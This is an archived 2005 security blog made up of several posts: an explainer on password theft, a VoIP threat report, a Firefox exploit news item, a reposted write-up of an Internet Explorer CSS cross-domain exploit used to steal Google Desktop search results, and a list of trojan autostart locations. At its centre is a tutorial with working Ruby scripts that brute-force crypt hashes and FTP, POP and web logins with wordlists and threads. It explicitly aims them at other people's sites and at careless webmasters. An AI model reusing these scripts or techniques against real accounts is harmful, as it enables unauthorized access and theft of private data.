Friday, December 16, 2005


We often hear people claim that they have lost their passwords because they have been hacked and now need to get their password back.Here i am giving few techniques

All this techiniques are illegal can be called as Phishing


Let's dispose of one technique that is absolutely a hoax (meaning a fraud: something intended to deceive; deliberate trickery intended to gain an advantage.) If you see a newsgroup post or web page with something like the following, it is a hoax and will not work.

: : : (([[THIS REALLY WORKS ]])) : : :

(1) send an E-mail to

(2) In the subject box type the screenname of the person whose password you wish to steal

(3) In the message box type the following: /cgi-bin/start?v703&login.USER=passmachine&class=supervisor&f={your aol password}&f=27586&javascript=ACTIVE&rsa

(4) Send the e-mail with priority set to "high" (red ! in some mailprograms)

(5) wait 2-3 minutes and check your mail

(6) Read the message.-Where YOUR password was typed before, NOW, the password of the screenname in the code string is there!!!

Why does this work? It´s a special decryption-server that AOL-employees can use to decrypt passwords.The aolbackdoor account is a bot that reads your authentification from the message body and identifiying you as a valid AOL Staff-member, you will get the password mailed back to you. The trick is that this Bot´s script seems to be a little bit buggy and it automatically recogises you as an supervisor (AOL-Staff member), even if you use a normal AOL account. This means, that EVERYONE having a valid AOL account can hack as many other accounts as he wants.

This is just a scam to steal your password and may explain some of the calls we get from people saying they were hacked. Never give your password to anyone. No legitimate web service or customer service representative will ask for it or need it. There is no magic email address or series of commands that will reveal the passwords of users.


Most browsers, including Internet Explorer® and Netscape®, the AOL® client, and Windows® Dial-Up Connections allow you the option to store passwords. These passwords are stored on the local machine and (depending upon where and how it is stored) there is usually a method of recovering these passwords. Storing any password locally is insecure and may allow the password to be recovered by anyone who has access to the local machine. While we are not currently aware of any program to recover locally stored AOL® passwords, we do not recommend that these are secure. Software does exist that can recover most of the other types of locally stored passwords.


A Trojan is a program that is sent to a user that allows an attacker to control functions of the target computer, recover information from the target or to delete or damage files on the target. The name Trojan is given because the program will usually come attached to some other program or file that entices you to run it. There are a wide variety of Trojans any number of which can be programmed to capture passwords as they are typed and to email or transmit them to a third party. To protect yourself against Trojans, you should never execute or download software or files that are not from a trusted source. It is critical that anyone working on internet use a virus protection program (which should catch most Trojans.) Note that since a Trojan requires the password to be typed or stored in order to be recovered, this is not an effective way to recover your own password. It could explain, however, how someone could lose their password to a hacker. Sending someone a Trojan program is certainly illegal and we do not recommend or condone this activity. A Trojan is unlikely to be effective in recovering a particular account password since it requires the target to install it. However, hackers will often bulk mail Trojans to thousands of people in the hope that a small percentage will get caught. Legitimate account holders who may have been caught by a Trojan and can authenticate themselves should contact their service provider to have their account passwords reset.


A keylogger is a program or piece of hardware that records all keyboard keystrokes to an encrypted file which can then be read later. Based on the order of the keystrokes, it is usually easy to identify the password(s) from the file later. Like the Trojan, this also requires that someone actually type the password. Keyloggers come in two types: hardware and software. A hardware keylogger can be fitted between the keyboard cable and the computer and can be activated with a few keystrokes. It is then left in place until after the password that you are looking to hack is typed. Later it is removed and the file of keystrokes is examined for the password. A software keylogger is installed on a system and effectively has the same function, however, it is a little bit more complex to use since it must be installed to run stealthily. A keylogger could be used to steal a password from someone who is using an office computer or sharing a computer. It is likely that installing and using such a device or piece of software is illegal and we do not recommend or condone this activity.


It is possible to impersonate a program on a computer by launching windows that look like something else. For instance, let's say you login to the MSN® service and visit a website (in this case a hostile website.) It would be possible for this website to pop-up some windows that look like something else. They could look almost identical to windows that an inexperienced user might expect from his local computer. The user could be fooled into submitting information to the hostile website. For instance, consider the effect of seeing the following series of windows:
If these could trick you into entering your password, then you could end-up sending your password to the attacker. Windows such as these could be created to mirror virtually any program or series of actions. Your browser will likely identify your operating system and your IP address might identify your ISP. Therefore, a hostile website could target you with a series of screen shots that look exactly as they should on your system. The key is that the screen shots are not coming from your system, but are coming from the hostile website. First, creating such a hostile website is probably fraudulent and illegal. We do not recommend or condone this activity. To protect yourself against this type of attack, make sure to configure your browser for high security and enable warnings for any code that is executed on your system.


If two people do not share the same computer, but do share the same network, it may be possible for one to sniff the others' packets as they sign-on. The traffic between your computer and the internet site you are accessing may be able to be recorded and decrypted or "played-back." This is not a simple attack to execute, but is possible if two people are close to one another and share a hub. Again, this is likely to be illegal and we do not condone this activity.


Many people want to find software to perform a brute-force attack. This is really impractical. It would take hundreds of thousands of years to attempt any kind of reasonable brute-force attack on AOL®, Yahoo® or Hotmail® and this would expand exponentially if the password is longer than the minimum length. Using multiple computers or multiple sessions could reduce this to merely thousands of years. This is highly illegal since these services own the servers on which an account is hosted. Even if you are hacking your own account, you don't own the servers and the service is going to monitor and log this activity. It is extremely unlikely that you could recover a password in this way, but it is extremely likely that you'd be arrested and prosecuted for doing this.


Social engineering is the name given to the art of attacking the person, rather than the computer or system. The basic principle is that many people can be talked into giving someone else their id and password if they think it is someone that they can trust. For instance, I might call someone and say I was from AOL and that I was finally getting around to responding to their technical support question. I would then ask you to describe the problem that you are having and tell you that we have a solution. However, I just need to verify the account. Can you give me the username and password again? A surprising number of people would fall for this obvious scam. There is no limit as to how elaborate this can be. The more information that is given by the caller, the more realistic or believable the call is. Again, never give your password to anyone. No legitimate customer service representative will ask for this information.


DL Kumar

Thursday, December 15, 2005

New Sophisticated Security Threats From Voip

A new report from the Information Security Forum (ISF) warns that along with existing security problems associated with IP networks, VoIP will present new and more sophisticated threats, such as caller ID spoofing, voice modifiers, SPIT (voicemail SPAM) and packet injections.

With VoIP now poised to hit the business market in a big way, the ISF believes that failure to address these serious risks may bring voice communications to a grinding halt and result in identify theft and loss of sensitive information.

With a combination of caller ID spoofing and freely available voice modification software, it is relatively easy to pose convincingly as someone else, similar to web site spoofing and phishing. But the ISF believes that one of the most virulent problems posed by VoIP will come about as a direct result of the low cost of sending voice messages over the Internet. SPIT (spam over internet telephony) could become a huge problem for companies. This could range from staff wasting time clearing unwanted voicemail messages to a total loss of service.

Other VoIP security issues highlighted in the ISF report range from redirection of calls and packet injections where words are inserted into the data stream mid-conversation, to the interception of sensitive voice traffic in transit and theft of VoIP bandwidth.

In surveying ISF members to research the report, concerns were also expressed that as VoIP becomes more popular, organised criminals will turn their attention to sabotaging businesses by disabling phone systems through DoS attacks or spreading malicious viruses or worms. The problems of poor quality transmission and loss of service are gradually being overcome, which is expected to lead to more widespread adoption and reliance on VoIP in the future. This trend is also being driven by cost savings, improved functionality, ease of access and low cost of entry.

"Although VoIP is being increasingly used in the home environment, most businesses are still reliant on the Public Switch Telephone Network," said Nick Frost, Consultant at the ISF. "We take it for granted but it is extremely resilient, something that VoIP can not currently deliver. But it is inevitable that eventually VoIP will take over as the voice service of choice, bringing with it these additional new security risks."

Thursday, December 08, 2005

First Exploit in Firefox 1.5 discovered

Security experts with Packet Storm have published proof of concept code that exploits an unpatched flaw in the Firefox 1.5 browser, making the application vulnerable to a denial of service attack.

The code marks the first publicly disclosed security vulnerability in Firefox 1.5 since it became available late November.

The published code will add a large entry to the history.dat file of the browser, causing the application to crash the next time it is launched or the application will freeze.

Users can fix the problem by manually erasing the file. Another option is to change the browser setting to disable the saving of history data by setting the days of saved history to zero or increasing the privacy control.

While the proof of concept code is relatively harmless, the flaw could be exploited to install malware, said John Bambenek, a researcher with the University of Illinois at Urbana-Champaign and volunteer at the SANS Internet Storm Center.

"Presumably, if the topic was more tightly crafted than in the proof-of-concept code, a more malicious attack could be crafted that would install malware on the machine with the extra fun step of being reinstalled after each restart of Firefox," Bambenek wrote.

Tuesday, December 06, 2005

Bruteforce Password Cracking

A very elemental intrusion technique is bruteforce password guessing with a wordlist. This is very easy to do and I'd like to specifically explain how to crack simple, online websites. The basic principles are very transportable and we'll examine a couple more uses for them. We'll use the wonderful language, ruby, for our implementation.

To begin, you need a wordlist file. Find yourself some wordlist files at and These will provide you with words that might be used as passwords. For example, contains a list of some 800+ commonly used passwords. You can join them with a "cat file1 >> file2" or "ruby -e '"file1", "a").write("file2", "r").read)'", substituting whatever your files' names are for file1 and file2.

Now you want to create a ruby program that can iterate through it, such as this:"wordlist", "r").each_line { |line| puts line }

What a piece of cake! In olden times, wordlists were often used to brute force passwd files. These passwd files contain uniquely encrypted passwords and were world readable. Now so-called "shadow" password files are often used, containing the actual encrypted passwords and only root can play with them. Anyhow, a wordlist would be iterated through and each word would be encrypted and then compared with encrypted password. This is done with the crypt function, which takes a password to encrypt and a two character salt. The salt is the first two characters of the stored password. Here is a miniature program to compare the encrypted password with an unencrypted word:

int main (int argc, char *argv[]) {
return strcmp(argv[1], crypt(argv[2], argv[1]));

Compile with -lcrypt and then run it like this:

$ gcc pwchk.c -lcrypt -o pwchk
$ ./pwchk 2dqe5MP4ZMCQ a7f2f
$ echo $?

You can use it with your word list in ruby like this:

encrypted_password = "okDf3IrUDfDys""wordlist", "r").each_line do |line|
system("./pwchk #{encrypted_password} #{line.chomp}")
if $? == 0
puts line

If you did this with a wordlist containing the word, "password", you'd see the ruby program print it out. Okay, now the you probably aren't going to run across many passwd files these days, but, you'll certainly encounter some password protected logins for all sorts of online stuff. Let's take a look at how to crack http, ftp, and pop accounts. The assumption here is that you know (or can guess) a login name. Let's check out ftp servers first.

FTP servers are very often the way people get their web content to and from their websites. If you can crack into a website through the FTP route, you usually have complete access to all of their web pages, scripts, and stored data (such as password lists). Also, if they have a normal account on box, you'll have access to their home directories which can contain all sorts of goodies. This is especially the case if they're hosting an FTP server on their workstation.

First, find out what ISP is hosting their site or if they are hosting it themselves. Then research to figure out what the ftp server's name is. For example, Comcast home accounts are accessed through the server. If they own the domain name and especially if they are hosting it themselves, there is a good chance that it is just ftp.theirname.tld, or you can just ftp into www.theirname.tld.

Next, guess their login name. It is very likely to the same as some email address for the site. Also, look up their contact information on If they are being hosted by an ISP, you might be able to find out what their login name is based on the name of their site -- they might just use the domain name, for example. If they are self-hosting, look for e-mail addresses and even root. They might be republican enough to enable root access through FTP.

Once you've got some names to guess, your wordlist can get funky like this:

require 'net/ftp'"wordlist", "r").each_line do |line|
begin'').login('gwbush', line.chomp)
puts line
rescue Net::FTPPermError

Now, the thing is that this is slow. It might take a second per try, so if you're trying 1 million words, it could take 11 1/2 days to discover that the wordlist is bunk! :) To speed things up, let's distribute the accesses over 10 threads (modify the number of threads as you see fit):

require 'net/ftp'
i, a = 0, []"wordlist", "r").each_line do |line|
if i < 10
a.push( {
begin'').login('gwbush', line.chomp)
puts line
rescue Net::FTPPermError
i += 1
sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty?
i = 0
a.delete_if {|x| not x.alive?} while not a.empty?

Ah, ruby is so nice. Okay, now let's take a look at POP. You can harvest e-mail addys directly from webpages. The next step is figuring out what mail server handles the e-mail address. This is usually just mail.address.tld or, rarely, pop.address.tld. Sometimes it is just www.address.tld, as well. You might be able to find it with the dig or host, as well. Cracking it is just as easy as FTP (you can parallelize this the same way as above):

require 'net/pop'"wordlist", "r").each_line do |line|
begin'').start('gwbush', line.chomp)
puts line
rescue Net::POPAuthenticationError

Wow! Simple! Now, our last example is how to crack those lovely web logins. This is more complex because we must understand what is being sent to web server, which will vary a lot except that it will almost always have a login/password to spoof. You will need to recreate what is sent by your browser on login. Depending on the complexity of the server software, you might have to include some or all of the additional variables sent by your browser. You must be especially careful with cookies. Some sites, such as have a sequence of session-level cookies that must be carefully recreated. But, there are many sites out there with very easily cracked logins.

To find out what is being sent, I like to edit the page in place (with Mozilla, for example) or save and edit the login page locally and change the action field of the form to be "http://localhost:30000". Now try logging into your edited page after you start this script:

require 'socket'
puts"localhost", 30000).accept.recv(16384)

If the method was GET you will actually see the important variables on the first line, like "GET /login.html?username=gwbush&password=nwo HTTP/1.1". On the other hand, if the scripts uses the POST method, the variables will be at the end of the script, again with keys connected to values with "=" and linked together with ampersands. This data needs to be reproduced as either a GET or POST client request and the result tested against a sample unsuccessful password attempt.

Let's look at how we do this for a GET request that looks for the login form in the returned HTML file:

require 'net/http'"wordlist", "r").each_line do |line|
r, d ="").
get("/login.cgi?username=gwbush&password="+line.chomp, nil)
if not d.include? "action=\"login.cgi"
puts line

Now, for a POST request we would just change a little like this:

require 'net/http'"wordlist", "r").each_line do |line|
r, d ="").
post("/login.cgi", "username=gwbush&password="+line.chomp")
if not d.include? "action=\"login.cgi"
puts line

Keep in mind that you probably need to reproduce all of the variables being presented. Cookies can be added as a second variable hash to get function, but, there doesn't seem to be a way to easily insert a "Cookie: x=1" style header when using HTTPRequest's post. In the case that you need these cookies, you might need to just treat it as a socket:

require 'socket'
s ="", 80)
vars = "username=gwbush&password=nwo"
cookies = "x=1"
s.send("POST /login.cgi HTTP/1.1\r\n" +
"Connection: close\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"Content-Length: #{vars.length}\r\n" +
"Host:\r\n" +
"Cookie: #{cookies}\r\n\r\n#{vars}", 0)
puts "Cracked" if not s.recv(32770).include? "action=\"login.cgi"

Again, multithreading can speed this type of cracking by an order of magnitude. Servers will log your access attempts, and, for smaller servers the large access log size might be noticed, as could increased bandwidth. If they watch their stats go from 1000 hits a day to 200000, they will certainly look into it. What are most ripe are sites ran by technologically illiterate, lazy, or distracted webmasters. FTP is a much prettier target, overall, as the logs are often ignored and the prize is extremely sweet. POP marks are often pretty easy and allow for ample snooping possibilities.

Well, now you know some basic password bruteforce techniques. But, remember: use your knowledge for good, not evil. You will turn into dust one day, but, the echos of your actions will live on as happiness or sadness. Do what is right. Help those in need and stop injustice. Liberty, equality, solidarity!

Saturday, December 03, 2005

Google Desktop Exposed: Exploiting an Internet Explorer Vulnerability to Phish User Information

Article at ...

Google Desktop Exposed: Exploiting an Internet Explorer Vulnerability to Phish User Information


It was bound to happen. I was recently intrigued by the possibility of utilizing Google Desktop for remote data retrieval of personal user data (such as credit cards and passwords) through the use of a malicious web page. Now, thanks to a severe design flaw in Internet Explorer, I managed to show it's possible to covertly run searches on visitors to a web site by exploiting this vulnerability. In this article I will detail what the vulnerability in IE is and how it is used to exploit Google Desktop. If you have IE 6 and Google Desktop v2 installed you can test it for yourself in my proof of concept page.

Detailed analysis

Normally, browsers impose strong restrictions for cross domain interaction through the web browser. A certain web page can make a user browse to a different domain. However, it may not read the content of the retrieved page nor manipulate any of its DOM objects. This restriction is imposed so one site owner wouldn't be able to spy on a user's surfing habits using Javascript. Also, if a user is already logged on to a certain service (such as Gmail or hotmail) a malicious web page could have executed certain operations in the user's account (such as opening an email and reading it) if the restrictions weren't in place. In IE these restrictions are kept thoroughly but they are broken when it comes to CSS imports. I call this attack CSSXSS or Cascading Style Sheets Cross Site Scripting.

A certain web page can import CSS rules from a different domain using the "@import" directive. IE also has a handy javascript function called "addImport" which operates just like "@import" but in runtime. CSS rules can later be read by accessing the "cssText" property in the document.styleSheets collection. But what happens when a web page imports a URL that is not a valid CSS file? It appears that IE's lenient CSS parsing allows this to happen and in the "cssText" property one can read snippets of html code from the remote site that were mis-parsed as CSS rules. Since CSS rules require a certain structure the amount of code that's retrieved from the remote site may vary depending on the site's code.

CSS rules determine the look of a site and normally have a selector, a property and a value. The property and value are seperated by a colon and surrounded by curly braces. For example, to color all the links on a certain web page one would define the CSS rule "a {color: white}". In order to retrieve code from a certain URL that is not valid CSS, the target page must contain some characters that are used in CSS, namely curly braces. Luckily, most modern web pages contain them as curly braces are used extensively in javascript code and CSS rules embedded in pages. Once the IE CSS parser hits curly braces it will try to interpret the data after it as CSS. Even if the resulting CSS rules don't make any sense to the browser, IE will still let you see them in the "cssText" property. The combination of curly braces, colons and semi colons as they appear in the target's HTML code determine which snippets of code can be read.

When using the CSSXSS technique an attacker will mostly get javascript code. However, he can improve his luck by injecting CSS characters into the target page. Since most modern sites are dynamic and get parameters through the URL, injecting these characters is usually trivial. This is very much like injecting javascript into a target page as used in classic XSS vulnerabilities only here an attacker injects characters which most sites consider harmless.

Much like classic XSS holes, this design flaw in IE allows an attacker to retrieve private user data or execute operations on the users behalf on remote domains. The difference is that in this case the target site doesn't have to be vulnerable to script injection. All an attacker has to do is lure a user to a malicious web page. Thousands of web sites can be exploited and there isn't a simple solution against this attack at least until IE is fixed. That means millions of IE users are affected by this design flaw.

This vulnerability has been tested to work on a fully patched Microsoft Internet Explorer 6 browser and earlier versions are possibly vulnerable as well. Mozilla Firefox seems to adequately keep domain restrictions in CSS imports and doesn't seem to be vulnerable to this type of attack. Opera isn't vulnerable because it doesn't support the styleSheets collection. Possible solutions for users to mitigate this attack would be to disable Javascript in IE or use a different browser.

Google Desktop Logo

The Google Desktop Exploit

To demonstrate what this vulnerability is capable of, I cooked up a little demonstration that exploits Google Desktop Search (GDS) to search and fetch private user information from a remote web site. But before detailing how this is done, I will give a brief background on how GDS works.

Google Desktop Search is a useful piece of software that indexes a user's local data such as documents, emails, spreadsheet files etc. Once data is indexed, a user can search through his local files in the familiar Google interface. The search is done using a web server installed on the local machine. The local web server listens on port 4664 and is bound only to the address to make it impossble to access remotely from the Internet.

Google added an extra security measure so remote web pages won't be able to access the local web server and try to exploit XSS holes. In order to access the GDS web interface, there is a randomly generated secret key which has to be passed as a parameter in the URL. Once a user clicks on the GDS icon, a secret key is generated on the web server and the default web browser opens with a URL containing the key. If the key is not present or wrong, GDS will not allow any execution of queries and instead it will return an error page. The only thing remote web pages can access is a gif file which shows the Google logo.

Google also integrates GDS with their regular search services on Once a user installs GDS a new link appears in above the query box called "Desktop". This link points to the URL of the local web server including the secret key. This is done so the user will be able to go to his local search without even noticing ever leaving the Google web site. The desktop link that appears doesn't actually come from Google's web site. The link is injected by GDS using a browser plugin whenever it detects that the user surfed to the Google web site. This prevents the key from being leaked to the Internet.

Google Main Page with desktop link

In order to exploit GDS an attacker must first have a valid key to access the GDS web server. As I mentioned earlier, the key appears in a link on Google's web sites so naturally, this is where the key can be grabbed by the attacker using the CSSXSS attack. Due to Google's design, grabbing the "Desktop" link isn't possible on most of their search sites. However, after some trial and error I discovered the link can be returned using this attack on the Google News site,, by injecting curly braces into a query. Then it's only a simple matter of extracting the key using a regular expression and doing a CSS import on the URL of the local web server with the chosen query. I also add a "{" character to the query so the results will be visible in the "cssText" property after CSS parsing. This character is ignored by the search engine and doesn't change the results.

The proof of concept works on a fully patched IE browser (default security and privacy settings) with Google Desktop v2 installed. It will not work on any other browser unless the browser is derived from IE. The results you will get from this demonstration may vary, depending greatly on the Google News page design and the content in the user's hard drive (and possibly the language of the GDS installation) . I got the best results using the english version of GDS and the english Google News page. A complete exploit can also iterate through the result pages to get more data and log the results on a remote server. Needless to say, I don't log any of the results. Also note that this proof of concept code is supplied for educational purposes only.

Google Desktop proof of concept exploit

Back to main page.

Matan Gillon (matan <[_at_]>


Places that viruses and trojans hide on start up

By ShaolinTiger

The following article was written by ShaolinTiger, Administrator of:

1. START-UP FOLDER. Windows opens every item in the Start Menu's Start Up folder. This folder is prominent in the Programs folder of the Start Menu.

Notice that I did not say that Windows "runs" every program that is represented in the Start Up folder. I said it "opens every item." There's an important difference.

Programs represented in the Start Up folder will run, of course. But you can have shortcuts in the Start Up folder that represent documents, not programs.

For example, if you put a Microsoft Word document in the Start Up folder, Word will run and automatically open that document at bootup; if you put a WAV file there, your audio software will play the music at bootup, and if you put a Web-page Favourites there, Internet Explorer (or your own choice of a browser) will run and open that Web page for you when the computer starts up. (The examples cited here could just as easily be shortcuts to a WAV file or a Word document, and so on.)

2. REGISTRY. Windows executes all instructions in the "Run" section of the Windows Registry. Items in the "Run" section (and in other parts of the Registry listed below) can be programs or files that programs open (documents), as explained in No. 1 above.

3. REGISTRY. Windows executes all instructions in the "RunServices" section of the Registry.

4. REGISTRY. Windows executes all instructions in the "RunOnce" part of the Registry.

5. REGISTRY. Windows executes instructions in the "RunServicesOnce" section of the Registry. (Windows uses the two "RunOnce" sections to run programs a single time only, usually on the next bootup after a program installation.)

7. REGISTRY. Windows executes instructions in the HKEY_CLASSES_ROOT\exefile\shell\open\command "%1" %* section of the Registry. Any command imbedded here will open when any exe file is executed.

Other possibles:

[HKEY_CLASSES_ROOT\exefile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] ="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] ="\"%1\"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] ="\"%1\"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] ="\"%1\"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] ="\"%1\"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] ="\"%1\"

If keys don't have the "\"%1\" %*" value as shown, and are changed to something like "\"somefilename.exe %1\" %*" than they are automatically invoking the specified file.

8. BATCH FILE. Windows executes all instructions in the Winstart batch file, located in the Windows folder. (This file is unknown to nearly all Windows users and most Windows experts, and might not exist on your system. You can easily create it, however. Note that some versions of Windows call the Windows folder the "WinNT" folder.) The full filename is WINSTART.BAT.

9. INITIALIZATION FILE. Windows executes instructions in the "RUN=" line in the WIN.INI file, located in the Windows (or WinNT) folder.

10. INITIALIZATION FILE. Windows executes instructions in the "LOAD=" line in the WIN.INI file, located in the Windows (or WinNT) folder.

It also runs things in shell= in System.ini or c:\windows\system.ini:

shell=explorer.exe C:\windows\filename

The file name following explorer.exe will start whenever Windows starts.

As with Win.ini, file names might be preceeded by considerable space on such a line, to reduce the chance that they will be seen. Normally, the full path of the file will be included in this entry. If not, check the \Windows directory

11. RELAUNCHING. Windows reruns programs that were running when Windows shut down. Windows cannot do this with most non-Microsoft programs, but it will do it easily with Internet Explorer and with Windows Explorer, the file-and-folder manager built into Windows. If you have Internet Explorer open when you shut Windows down, Windows will reopen IE with the same page open when you boot up again. (If this does not happen on your Windows PC, someone has turned that feature off. Use Tweak UI, the free Microsoft Windows user interface manager, to reactivate "Remember Explorer settings," or whatever it is called in your version of Windows.)

12. TASK SCHEDULER. Windows executes autorun instructions in the Windows Task Scheduler (or any other scheduler that supplements or replaces the Task Scheduler). The Task Scheduler is an official part of all Windows versions except the first version of Windows 95, but is included in Windows 95 if the Microsoft Plus Pack was installed.

13. SECONDARY INSTRUCTIONS. Programs that Windows launches at startup are free to launch separate programs on their own. Technically, these are not programs that Windows launches, but they are often indistinguishable from ordinary auto-running programs if they are launched right after their "parent" programs run.



Windows loads explorer.exe (typically located in the Windows directory)during the boot process. However, if c:\explorer.exe exists, it will be executed instead of the Windows explorer.exe. If c:\explorer.exe is corrupt, the user will effectively be locked out of their system after they reboot.

If c:\explorer.exe is a trojan, it will be executed. Unlike all other autostart methods, there is no need for any file or registry changes - the file just simply has to be named c:\explorer.exe


Additional autostart methods. The first two are used by Trojan SubSeven 2.2.

HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\explorer\Usershell folders

Icq Inet

This key specifies that all applications will be executed if ICQNET Detects an Internet Connection.

[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] ="Scrap object"
This key changes your file's specified extension.